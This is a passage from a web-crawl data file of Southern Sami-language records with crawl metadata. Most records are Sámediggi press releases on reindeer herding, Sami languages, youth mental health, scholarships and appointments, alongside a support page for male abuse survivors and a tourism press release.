ållesth analjyjsine jïh strategijine juktie ulmiem jaksedh monnehke båatsoen bïjre. Iemie aelkedh implementeradimmiem jïh illedahkide 2007-laakeste evalueradidh, jïh daerpiesvoetide laakejarkelimmide vuartasjidh dejnie ektine.\nGovlh doh saemien gïelh\nBåatsoepolitihkesne jïjnjh vuesiehtimmieh gååvnesieh ihke doh båatsoesaemien gïelh eah govlelgh, jïh sjæjsjalimmieh vaaltasuvvieh båatsoesaemiej åejjiej bijjeli. Saemiedigkie jïh båatsoe tjuerieh tjïelke tsevtsemefaamoem utnedh, jïh åejvieladtjh tjuerieh daelie goltelidh mah raerieh båatsoe åehpiedahta. Sjæjsjalimmieh jïh prosessh mah leah daerpies akten jielije båatsose guhkiebasse, tjuerieh legitimiteetem utnedh båatsosne jïh saemien siebriedahkesne.\nManne gujht vïenhtem båatsoesaemieh jïh saemien dåarjelimmie leah jarngesne juktie hijven raerieh gaavnedh daan beajjetje haestiemidie båatsosne. Vååjneme daate lea læhkoes orreme reeremisnie ektievierhtijste abpe veartenisnie, jïh sæjhta aaj læhkoes årrodh båatsose.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Saernievaaarhkoe\/Kronihke-Baaatsoe-tjuetiejaepien-perspektijvesne","date":"2020-01-27T05:34:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251694908.82\/warc\/CC-MAIN-20200127051112-20200127081112-00137.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":727,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mentaale Healsoe Noeren prosjekte edtja noere saemiej psykiske healsoem goerehtalledh jïh heerreden råajvarimmiejgujmie nierhkedh mah vaarjelimmiefaktovride nænnoestehtieh noere saemiej identiteetese jïh psykiske healsose. Goerehtalleme edtja daajroem vedtedh guktie noere saemieh sijjen psykiske healsoem dååjroeh jïh mah vaarjelimmiefaktovrh jïh vaahrafaktovrh noerh dååjroeh.\n– Tuhtjem daate akte åajvoeh prosjekte, jïh saemiedigkieraerien bieleste leam geerjene ihke Mentaale Healsoe Noere sæjhta dagkarinie prosjektine nierhkedh. Akte dagkeres prosjekte sæjhta vyörtegs daajroem vedtedh saemien noeri psykiske healsoen bïjre, Mikkelsen jeahta.\nSaemien siebrieh meatan vaaltasuvvieh\nMentaale Healsoe Noere edtja laavenjostedh saemien noeresiebrine Noereh, Saemiedigkien noerepolitihkeles moenehtsinie (SUPU) jïh Saemien nasjonaale maahtoejarngine – psykiske healsoevaarjelimmie (SANKS) prosjektesne, jïh tjïerteste daate ellies prosjekte våaroeminie åtna doh saemien noeresiebrieh leah meatan abpe prosjektesne.\nMikkelsen åtna akte faamoe prosjektese gosse dovne Noereh, SUPU jïh SANKS leah meatan.\n– Dah saemien siebriedahkem demtieh, guktie prosjekte maahta læhkoes sjïdtedh. Saemiedigkien bieleste utnebe doh göökte noeresiebrieh goh væjkele jïh stoerre ïedtjem siebriedahken åvteste utnieh, jïh gosse dah meatan prosjektesne dellie dïhte faamoem vadta prosjektese, Mikkelsen jeahta.\nVihkeles daajrojne\nSaemiedigkie daarpesje aktem daajroevåaromem utnedh sov barkosne, jïh daamtaj faaktaj mietie gihtjie saemien siebriedahki bïjre jïh healsoerelateradamme gaavnoej bïjre saemien healsoen bïjre. Mikkelsen meala daate goerehtalleme maahta Saemiedægkan jïh jeatjah stuvremeinstitusjovnide dïrregh vedtedh dejtie båetije råajvarimmide mah maehtieh saemien maanaj jïh noeri psykiske healsoem bueriedidh.\n– Daajroevåarome sæjhta råajvarimmieh sjugniedidh jieniebinie daltesinie. Viehkieabparaate maahta orrestamme daajroem åadtjodh, jïh dan gaavhtan dah sijhtieh buerebe ryöjredamme årrodh dam viehkiem vedtedh dejtie mah dam daarpesjieh, saemiedigkieraerie Mikkel Eskil Mikkelsen minngemosth jeahta.\nDastegh gyhtjelassh jallh gihtjehtimmie, gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen, mob. +47 917 42 161.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Saemiedigkie-daaarjoem-prosjektese-vadta-mij-edtja-saemien-noeri-psykiske-healsoem-goerehtalledh","date":"2020-04-05T07:25:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370529375.49\/warc\/CC-MAIN-20200405053120-20200405083120-00108.warc.gz","language":"sma","language_score":1.0000015497,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000015497207642}","num_words":248,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Joekoen vihkeles saemien siebriedahke daelie dïedtem vaalta jïh sov mïelem vadta raeriestimmiej bïjre mah edtjieh saemien gïelide nænnoestehtedh. Jis ibie pryöjjedh, guktie edtjebe veanhtadidh nöörjen stoerresiebriedahke edtja pryöjjadidh? Sïjhtem aktegsalmetjh, eejhtegh jïh aahka gon aajjah , årganisasjovnh jïh siebrieh, jïh jielemeaktöörh haestedh sijjen vaestiedassh sïjse seedtieh åvtelen fer seenhte. Vuartesjh gaajhkide raeriestimmide salkehtimmesne, jïh tjaelieh mejtie datne leah sïemes dejnie, saemiedigkieraerie Lars Filip Paulsen jeahta, man dïedte saemien gïeli åvteste Saemiedigkieraeresne.\nSeedth dov govlehtimmielahtestimmiem daesnie.\nEadtjohke almetjh gaavnedamme Saepmesne\nSaemiedigkien åejvieulmie evtiedæmman saemien gïelijste lea låhkoem gïeleutniejijstie lissiehtidh, jïh åtnoem saemien gïelijste lissiehtidh siebriedahkesne. Saemiedigkie edtja gïelide gorredidh jïh evtiedidh, jïh dan åvteste aktem eadtjohke råållam vaalteme juktie NOU:m 2016: Vaajmoegïele bæjjese fulkedh.\nGoh akte bielie daehtie barkoste, Saemiedigkie lea gellie govlehtimmieseminaarh öörnedamme gaajhkine golme saemien gïeledajvine, gusnie Saemiedigkieraerie lea meatan orreme. Lissine Saemiedigkie dovne politihkeles jïh reereles meatan orreme dagkerh govlehtimmieseminaarine mejtie jeatjah aktöörh öörnedamme. Aajkoe lea orreme dan stööremes ïedtjem jïh eadtjohkevoetem sjugniedidh salkehtimmien bïjre, juktie dan jeenjesh saemien siebriedahkesne skreejrehtidh goh gåarede sijjen govlehtimmievaestiedassh sïjse seedtedh govlehtimmiemierien åvtelen, mij lea njoktjen 15.b. 2017..\n– Daennie boelhkesne manne jïjnjh histovrijh govleme dan saemien gïeleaarkebiejjien bïjre jïh dej gelliej ovmessie haestemi bïjre dejnie ovmessie gïeledajvine. Akte stoerre eadtjohkevoete orreme gaajhkine seminaarine mejnie meatan orreme. Daelie vihkeles daate eadtjohkevoete tjïelke vååjnesasse båata reerenassese, jïh manne gegkestem dan jeenjesh goh gåarede daelie nuepiem nuhtjieh ryöktesth lahtestimmiejgujmie båetedh salkehtimmien jïh raeriestimmiej bïjre. Lahtestimmieh jeatjah raeriestimmiej bïjre råajvarimmide sijhtieh aaj viehkiehtidh båetijen aejkien saemiepolitihkem hammoedidh gelliej suerkiej sisnjeli, saemiedigkieraerie Lars Filip Paulsen jeahta.\nVuartesjh govlehtimmieseminaaride mubpesth daesnie:\nGovlehtimmieseminaare Röörosesne goevten 16. b. fokusem utni åarjelsaemien gïeledajvese.\nGovlehtimmieseminaare Divtasvuodnesne goevten 23.b. fokusem utni dan julevsaemien gïeledajvese.\nGovlehtimmieseminaare Guovdageaidnusne goevten 28.b. fokusem utni dan noerhtesaemien gïeledajvese.\nSïjhtebe gaajhkh lahtestimmieh lohkedh jïh vuarjasjidh\nMoenehtsen raeriestimmieh råajvarimmide, jïh sïjse båateme lahtestimmieh govlehtimmieboelhken, vuarjasjamme sjidtieh rååresjimmesne Saemiedigkien jïh Tjïelte- jïh orrestimmiedepartemeenten gaskem.\n– Mijjieh iktesth jeahteme mijjieh sïjhtebe hoksedh daate NOU:e ij gællan sjïdth aktene skåapesne jïh dan mænngan åajaldåvva. Daate salkehtimmie mijjese histovrijes nuepiem vadta staatusem lutnjedh dejtie saemien gïelide, jïh manne birrem gaajhkesidie meatan årrodh daennie barkosne. Manne tuhtjem joekoen vihkeles Vaajmoegïele bæjjese fulkesåvva aktine proposisjovnine mij laakh jïh råajvarimmieh ektiedimmesne vuajna, saemiedigkieraerie jeahta.\nLissine laakejarkelimmide akte akteraeresne Saemien gïelemoenehtse gaskem jeatjah vuarjasjamme njoelkedassefulkemem jïh dïedtejoekedimmiem Saemiedigkien, staateles åejvieladtji jïh ovmessiej bieliej gaskem byögkeles reeremistie. Moenehtse lea råajvarimmiejgujmie båateme mah jienebh siebriedahkesuerkieh feerhmieh, men råajvarimmieh maanide jïh noeride, maanagiertese jïh skuvlese leah bæjjese lutnjeme goh joekoen vihkeles bæjjese fulkedh. Lohkh gaajhkh raeriestimmieh daesnie.\nRaeriestimmieh leah gaskem jeatjah daej suerkiej bïjre:\n- Saemiengïeleldh maanagïertefaalenasse\n- Saemienlïerehtimmie maadthskuvlesne jïh jåarhkeskuvlesne\n- Jarkoestimmie njoelkedassijste jïh bïevnesedïedte byögkeles åejvieladtjide\n- Reakta vaestiedassem åadtjodh saemiengïelesne byögkeles årgaanijste\n- Saemien gïeleåtnoe healsoe- jïh hoksesuerkesne, jïh justijsesuerkesne\n- Saemien dennie tjïelten reeremisnie\n- Dåårrehtimmie barkijijstie mej maahtoe saemien gïeline jïh saemien kultuvresne\n- Raastendåaresth gïelelaavenjostoe\n- Saemien sijjienommh","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Saernievaaarhkoe\/Birrie-gieleiedtjeladtjh-pryoejjadidh","date":"2020-04-05T06:31:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370529375.49\/warc\/CC-MAIN-20200405053120-20200405083120-00367.warc.gz","language":"sma","language_score":1.0000016689,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000016689300537}","num_words":450,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate organisasjovne barkeminie vuasteleminie seksuelle irhkemh maanaj vuestie. Mijjieh vearmadahke almijste gïeh libie jïjtjh seksuelle irhkemem dååjrehtamme maanabaelien. Jïjtjemh dååjrehtsigujmie sïjhtebe jeatjah baernieh almah viehkiehtidh mah leah dam seammam sjïdteme tjirrehtidh goh mijjieh. Mijjieh åvtene vaedtsebe, sïjhtebe vuesiehtidh ihkie jieleme lea marhkanamme dle annje maahta tjuedtjielidh jïh buerie jielemem åadtjodh.\nDåarjoejarngh\nseksuelle irhkemen vuestie lea faaleldahke gåabph gaajhkesh biesieh\nbåetedh. Dejtie maahtah govlehtidh ihkie jeatjah faaleldahke dov, ij\ndåaktere gænnah daarpesjh datnem dahka tjaeliehtidh. Dejnie\njarngine bïhkemdæjjajgujmie gaavnesjh gïeh mielieh man bïjre\nsoptsesth jïh dah raeriestieh datnem maam dejnie darjodh.\nDåaktere maahta\nsoptsestimmieguejmine årrodh, jïh jis daerpies dle datnem\nvijriebasse tjaelehte soptsestallemasse psykolåågen gåajka.\nDannasinie vihkele dåaktarasse soptsestidh mejnie datne vaajveminie.\nPolitijese maahtah\nirhkeme-aamhtesem bæjhkoehtidh. Dah mieriedieh mah gelkieh aamhtesem\naelkedh goerehtalledh jallh mah lea båarastovveme. Jis leah\nseksuelle irhkemem dååjrehtamme maahtah politijese bæjkoehtidh jïh\ndah jis datnem vijriebasse viehkiehtieh dagkeren sæjjan gusnie dah\ndåastoehtieh olmetjh gïeh irhkemem dååjrehtamme. Politijen aaj\ntelefovne mïsse maahtah ringkedh soptsestidh jis bïlleminie gie akt\nirhkemen nuelesne.\nDPS såjhtoem faala\nmaam viehkiem daarpesjh; polikliniske soptsestallemh, dåehkieterapijh\njïh årromem jïjjem biejjiem. Jis byjjes viehkiesysteemeste galka\nviehkiem åadtjodh dle tjuara dåaktere datnem dahka tjaeliehtidh.","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/aarjel.utsattmann.no\/","date":"2020-04-07T15:37:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371803248.90\/warc\/CC-MAIN-20200407152449-20200407182949-00367.warc.gz","language":"sma","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000004768371582}","num_words":187,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie lea meatan orreme Maanatjirkijen jolledaltesetjåanghkosne, mij lea skraejrie Maanatjirkijistie juktie guhkiebasse jïh iktedamme barkojne viehkiehtidh akten jearsoesåbpoe digitaale aarkebiejjien åvteste maanide jïh noeride. Maanatjirkije sæjhta barkoe edtja maanaj reaktide bigkedh maanakonvensjovnen mietie jïh vuajna vihkeles maanah jïh noerh leah meatan daennie barkosne.\nSaemiedigkie lij meatan stoerredigkiepresidentine, staateraeriejgujmie, stoerredigkie-politihkerigujmie jïh bijjelen golmeluhkie jeatjah byögkeles instaansigujmie, siebriejgujmie jïh gïehtelimmiejgujmie. Gaajhkesh aktem ektie bæjhkoehtimmiem vuelietjaaleme jïh jïjtjemse unnemes göökte råajvarimmide åeliedamme fïereguhte, mejtie sijhtieh tjïrrehtidh mubpien jaepien.\nAkte dejstie råajvarimmijste man åvteste Saemiedigkie lea jïjtjemse åeliedamme barkedh lea saemien maanaforumem tseegkedh gusnie gaskem jeatjah jearsoe digitaale aarkebiejjie lea bieline dej barkoste. Saemiedigkieraerie Mikkel Eskil Mikkelsen (NSR) Saemiedigkien bieleste bæjhkoehtimmiem vuelietjeeli.\n– Daan biejjien ibie mijjen naan areena gusnie maehtebe digkiedidh jïh soptsestalledh maanajgujmie jïh noerigujmie Saemiedigkesne. Tjoerebe maanajgujmie soptsestalledh jïh ij dej bïjre gosse suerkine barkebe man bïjre dej leah vielie daajroe jïh dååjrehtimmie. Joekoen gosse mijjieh dej digitaale aarkebiejjine barkebe, akte aarkebiejjie man bïjre geerve almetjh eah dan jïjnjem daajroem utnieh dan bïjre, Mikkelsen jeahta.\nSaemiedigkie aaj sæjhta konferansem öörnedidh irhkemegyhtjelassigujmie, daan nuelesne digitaale irhkeme goh akte dejstie teemijste. Konferanse edtja barkoetjåanghkoem utnedh gusnie maanah jïh noerh (maanaforume) bööresåvva meatan årrodh. Konferanse aktem faageles bieliem åtna geerve almetjidie mah maanajgujmie jïh jeatjah sjyöhtehke aktöörigujmie berkieh.\n– Saemiedigkien gaavhtan lea vihkeles barkedh guktie gaajhkh maanah jïh noerh jearsoesvoetem jïh feerhmemem dååjroeh gaajhkine areenine gusnie leah, mejtie lea fysiske jallh digitaale. Mijjieh daejrebe saemien maanah jïh noerh daamtaj dååjroeh aassjoelahtesh, irhkemem jïh sïerredimmiem Nöörjesne, ov-jearsoe aarkebiejjie. Ibie dan jïjnjem dan bïjre daejrieh, jïh manne aavodem aktem saemien maanaforumem tseegkedh laanteraastaj dåaresth goh akte råajvarimmie, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nSov håaloemisnie sitaath digitaale meedijijstie neebni mah rasisteles lahtestimmieh utnieh saemiej bïjre. Ij lij vielie goh göökte våhkoen båeries sitaath mah lin veedtjesovveme sosijaale meedijijstie, mænngan Girjas sïjte Sveerjesne reaktam vitni vijremen jïh göölemen bijjeli reeredh, jïh dan mænngan vesties irhkeme bööti saemiej vööste sosijaale meedijinie, jïh gusnie aaj heesti saemieh buvvedh.\n– Minngemes tïjjen libie gaatesjen vuajneme jienebh dagkerh rasisteles lahtestimmieh, jïh vuejnebe narrahtihks lahtestimmieh saemiej vööste meedijinie jïh joekoen nedtedigkiedimmine sagke vïerrebe sjïdteme jïh akten daltesesasse jakseme maam tjuara itjmieslaakan vaeltedh. Hævvi Saemiedigkie aaj sæjhta eadtjohkelaakan barkedh juktie jearsoes digitaale aarkebiejjiem åadtjodh. Hævvi edtja meatan årrodh daennie vihkeles barkosne, Mikkelsen jeahta.\nJis gihtjehtimmiem sïjhth jallh dov leah gyhtjelassh, gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen (NSR), tlf. +47 917 42 161, firstname.lastname@example.org","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Saejhta-saemien-maanaforumem-tseegkedh","date":"2020-03-28T23:07:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370493121.36\/warc\/CC-MAIN-20200328225036-20200329015036-00375.warc.gz","language":"sma","language_score":1.000002861,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000028610229492}","num_words":381,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beaivváš gieltegs jïh vihkeles histovrijem åtna goh saemien kulturelle premissedeallahtæjja. Jïjnje heannadamme dehtie raejeste teatere tseegkesovvi varke 40 jaepiej juassah goh frijje dåehkie dejnie dramatihkeles heannadimmine deepmesjimmien bïjre Alta-Gouvdageaidnujeanoste, jïh daan biejjien raajan goh akte profesjonelle teatereinstitusjovne mij bïjre jarkan gellien aejkien jaepien mïnnede abpe Saepmesne. Goh bievnije saemien gïeleste jïh kultuvreste Beaivváš joekoen stoerre aarvoem åtna.\n«Saemiedigkieraerie heevehtimmiegærjam vuarjesje goh joekoen vihkeles siebriedahkese, jïh saemien nasjonaaleteateren histovrije åehpies sjædta,» saemiedigkieraerie Henrik Olsen jeahta.\nÅarjelsaemien festivaalen sjïekenisnie Raasten rastah, konserte edtja öörnesovvedh Marja Mortensson jïh Krinkastingsorkesterinie (KORK) Røros gærhkosne skïereden 25. b. daan jaepien. Saemiedigkieraerie 179 000 kråvnah dåårje Raasten rastah-festivaalese daan öörnedæmman.\nKonserte aaj meatan saemien tv-produksjovnesne gusnie NRK Sápmi åarjelsaemien aamhtesh jarngesne åtna seamma tïjjen goh festivaale öörnesåvva. Baantedimmie dorjesåvva konserteste maam edtja mænngan vuesiehtidh NRK:sne.\n«Stoerre heannadimmie konserte Rørose bïejesåvva. Naemhtie aaj saemien goltelæjjah åadtjoeh meatan årrodh daam dååjredh sijjen hïejmedajvesne. Gosse konserte lea Røros gærhkosne dellie dïhte aaj sjïere lïhkesvoetem vadta årroejidie», saemiedigkieraerie jeahta.\nJis dov leah gyhtjelassh jallh gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem Henrik Olsen tell. + 47 907 75 219, jallh e-påaste: email@example.com","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Saemiedigkie-daaarjoem-vadta-Beaivvasen-heevehtimmiegaerjese-jih-konsertese-Marja-Mortensson-jih-KORK-ine","date":"2020-05-27T12:26:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347394074.44\/warc\/CC-MAIN-20200527110649-20200527140649-00190.warc.gz","language":"sma","language_score":0.9994497895,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9994497895240784}","num_words":169,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Preessebïevnese reerenasseste\nJieliemasseministeere sæjhta daaroen fealadassem lutnjedh.\n-Koronavijruse daaroen fealadassem tjarke dæjpa. Jalhts reerenasse pryövoe fealadassesïeltide viehkiehtidh, daajram gellie sïelth åevriedieh jïh billieh guktie båetije biejjide sjædta, jieliemasseministeere Iselin Nybø jeahta.\nDaelie reerenasse raereste ollh fealedh, mohte giesien jieliemasseministeere håhkesje daaroeh sijhtieh dej laantine fealadidh, gosse reerenasse daam jeahta.\nRaereste Nöörjesne fealadidh\nKoronavijrusen gaavhtan guhkies tijje vaasa goske turisth ålkoelaantijste Nöörjese båetieh. Dannasinie Nybø Innovasjon Norge:m gihtjie mejtie sæjhta daaroen fealadassem daarojde lutnjedh.\n-Fealadasse lea joekoen vihkeles jieliemasse mij barkoesijjieh abpe Nöörjesne sjugnede. Mijjen lea tjaebpies skåajjh, vaerieh, johkh jïh jaevrieh, jïh gellie gieltegs attraksjovnh jïh dååjrehtsh. Daelie vihkeles onne jïh stoerre aktöövride Nöörjesne gorredidh, jïh raerestem gaajhkesh dovnesh jïjtje laantesne fealadidh gosse reerenasse jeahta åadtjobe fealadidh, jieliemasseministeere jeahta.\nKoronavijrusen mænngan sæjhta fealadassem nænnoestidh\n-Daaroeh lyjhkieh Nöörjesne fealadidh juktie 2\/3 eejehtalleme-feelemijstie daaroeh Nöörjesne fealadieh. Juktie Nöörjesne mijjieh lyjhkebe voelpi luvnie årrodh, hæhtjose jïh fualhkan mïnnedh. Ålkoelaantesne lyjhkebe hotellesne åeredh jïh restaurantine byöpmedidh. Mijjieh vïenhtebe vielie maahtoe Nöörjen fealadassi bïjre sæjhta eadtjaldehtedh Nöörjesne fealadidh, fealadassedirektöövre Bente Bratland Holm Innovasjon Norge:sne jeahta.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/daan-giesien-saejhta-jienebh-daaroen-turisth-noorjesne\/","date":"2020-06-02T23:40:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00407.warc.gz","language":"sma","language_score":0.9999693632,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999693632125854}","num_words":169,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan raajan Saemiedigkie stipendem vadteme orre studeentide mah gaskem jeatjah maadthskuvlelohkehtæjjaööhpehtimmieh luhkieh. Daelie Saemiedigkie dan lohkehtæjjadåehkien vööste jarkoe mij saemien gïelemaahtoem åtna, men ij byjjes ööhpehtimmiemaahtoem saemien gieline utnieh, jïh stipendem vadta lohkehtæjjide mah sijhtieh saemiengielesne ööhpehtidh, men studijepoengh fååtesieh dam darjodh.\nStoerre lohkehtæjjavaanoe\n– Mijjieh jienebh lohkehtæjjah daarpesjibie, gellie lohkehtæjjah fååtesieh, mïsse Rïjhkerevisjovne aaj tjuvtjede. Daate akte dejstie råajvarimmijste Vaajmoegïelen mietie maam budsjedtesne 2020 åehpiedehtebe juktie daam haestemem dåastodh, Mikkelsen jeahta.\nRïjhkerevisjovne vihteste fer vaenie lohkehtæjjah reektehten mietie gålkoen 2019. Seamma tïjjen taalh vuesiehtieh låhkoe saemienlohkehtæjjijste, joekoen julevsaemien dajvesne, vaanene.\n– Saemiedigkien lea dïedte maahtoehaestemh saemien siebriedahkesne dåastodh. Akte vihkeles vierhkievierhtie lea stipendh. Dan åvteste tjoerebe iktesth voejhkelidh stipendide sjïehtesjidh dan hijvenlaakan goh gåarede, Mikkelsen jeahta.\nSkreejrehtidh saemien studijh veeljedh\nBudsjedtegïetedimmesne idtji ajve studijenuepie væjrenh. Daelie Saemiedigkie aaj edtja saemien learohkh jåarhkeskuvlesne gaavnedidh juktie skreejrehtidh saemien studijh veeljedh. Edtja gaavnedimmiesijjine årrodh juktie learoehkidie saemien studijenuepiej bïjre bievnedh.\n– Tjoerebe gaajhkh learohkh jåarhkeskuvlesne bööredidh bïevnesh åadtjodh dej nuepiej bïjre mah gååvnesieh dovne stipendi jïh ööhpehtimmienuepiej tjïrrh. Desnie learohkh sijhtieh åadtjodh gaajhkh universiteeth jïh jïlleskuvlh saemien ööhpehtimmiefaalenassigujmie råakedh, Mikkelsen jeahta.\nGoerehtimmiepoengh\nSaemiedigkie stipendem vadta learoehkidie mej saemien gïele 1. jallh 2. gïeline jåarhkeskuvlesne. Daelie Saemiedigkien stoerretjåanghkoe nænnoestamme learohkh mej saemien 1. gieline byöroeh goerehtimmiepoengh dan åvteste åadtjodh.\n– Stipendeöörnegen tjïrrh learoehkidie jåarhkeskuvlesne daejrebe mejnie skuvline learohkh leah. Daelie sijhtebe dejtie learoehkidie gaahtjemeaevhkieh vedtedh juktie ööhpehtimmieinstitusjovni sïjse båetedh. Dovne stipende, goerehtimmiepoengh jïh ööhpehtimmiekonferanse leah råajvarimmieh juktie maahtoedaerpiesvoetem dåastodh maam saemien siebriedahke åtna, Mikkelsen jeahta.\nJis dov leah gyhtjelassh jallh gihtjehtimmiem sïjhth, gaskesadth Mikkel Eskil Mikkelsen, tell. +47 917 42 161.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Saemiedigkie-stipendem-vadta-jaaarhkeoeoehpehtaemman-lohkehtaejjijste","date":"2020-06-03T18:13:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347435987.85\/warc\/CC-MAIN-20200603175139-20200603205139-00111.warc.gz","language":"sma","language_score":1.0000030994,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000030994415283}","num_words":245,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Politihkeles moenehtse mij Saemiedigkien direktöörem seehtie nænnoesti voerhtjen 28.b. 2020 Inger Marit Eira-Åhrénem orre direktöörine seehtedh Saemiedigkien reeremasse tjaktjen 2020 raejeste. Nænnoestimmie lea juvnehtimmien mietie saemiedigkieraereste. Eira-Åhrén barkoem direktöörine Saemiedigkesne jaepiemieresne åådtje boelhkese 01.09.2020 – 31.08.2026, jïh barkoe lea bïejesovveme Saemiedigkien reeremasse Karasjohkesne.\nSaemiedigkiepresidente Aili Keskitalo (NSR) lea madtjeles seehteminie.\n- Inger Marit Eira-Åhrén lea abpe daennie prosessesne aktem nænnoes siebriedahkegoerkesem jïh daajroem vuesiehtamme saemien siebriedahken bïjre, lissine stoerre goerkesem byögkeles reeremen jïh politihkeles prosessi bïjre vuesiehtamme. Dan lea gellielaaketje dååjrehtimmie ovmessie tjirkijebarkojste jïh posisjovnijste, jïh ïedtjije, tjïelke jïh eadtjohke åvtehkinie vååjnoe, Aili Keskitalo.\nNjieljie almetjh barkoem direktöörine ohtsi Saemiedigkesne gosse ohtsememierie nåhki goevten 23.b. 2020. Daaletje direktööre Rune Fjellheim lea barkoem åtneme göökte jaepiemierieboelhkine, skïereden 1.b. 2008 raejeste.\nGellielaaketje duekie\nInger Marit Eira-Åhrén Guovdageaidnuste båata, men årroeminie jïh barkeminie åarjelsaemien siebriedahkesne gusnie ektievoeten åvtehke saemien gïelereeremisnie Snåasen tjïeltesne jïh åvtehke tjïelten gïelejarngesne Gïelem nastedh. Eira-Åhren dååjrehtimmiem åtna byögkeles gïehtelimmine tjïelten, regijonaale jïh nasjonaale daltesisnie, dovne reereles jïh politihkeles daltesisnie. Dan lea hijven daajroe saemien gïelen jïh kultuvren bïjre, jïh sjïere goerkese dan politihkeles eatnemen bïjre dovne Saepmesne jïh laanten jeatjah bieline.\n- Saemiedigkien bijjemes reereles åvtehke tjuara maehtedh daam stoerre guvviem vuejnedh, analytihkeles årrodh jïh hijvenlaakan barkedh raastesne faagen jïh politihken gaskem. Inger Marit Eira-Åhrén gaajhkh mijjen kriterijh illie jïh persovneles jïjtsevoeth åtna mij sæjhta aevhkine sjïdtedh goh direktööre Saemiedigkesne. Dïhte maahta tjïelkelaakan gaskesadtedh, fokusem åtna nuepide jïh maahta goerkesem jïh skraejriem evtiedæmman sjugniedidh. Mijjieh lïhke jïh hijven laavenjostose aavoedibie tjaktjen raejeste, saemiedigkiepresidente Aili Keskitalo jeahta.\nGovlehtallijh meedijasse:\nSaemiedigkiepresidente Aili Keskitalo (NSR), tel.: +47 971 29 305\nSeehtememoenehtsisnie Saemiedigkien direktöörese dah meatan; Runar Myrnes Balto (NSR), Ronny Wilhelmsen (Bk), Cecilie Hansen (Gk), Tor Gunnar Nystad (NSR) jïh Inger Eline Eriksen Fjellgren (Arja).\nInger Marit Eira-Åhrénen bïjre (46):\n- Guovdageaidnuste båata, men daelie Snåasen tjïeltesne barka gusnie ektievoetem stuvrie mij dïedtem tjïelten saemien gïelereeremen åvteste åtna jïh tjïelten gïelejarngen åvteste Gïelem nastedh\n- Noerhtesaemien soptseste jïh hijven daajroem åtna åarjelsaemien gïelese njaalmeldh\n- 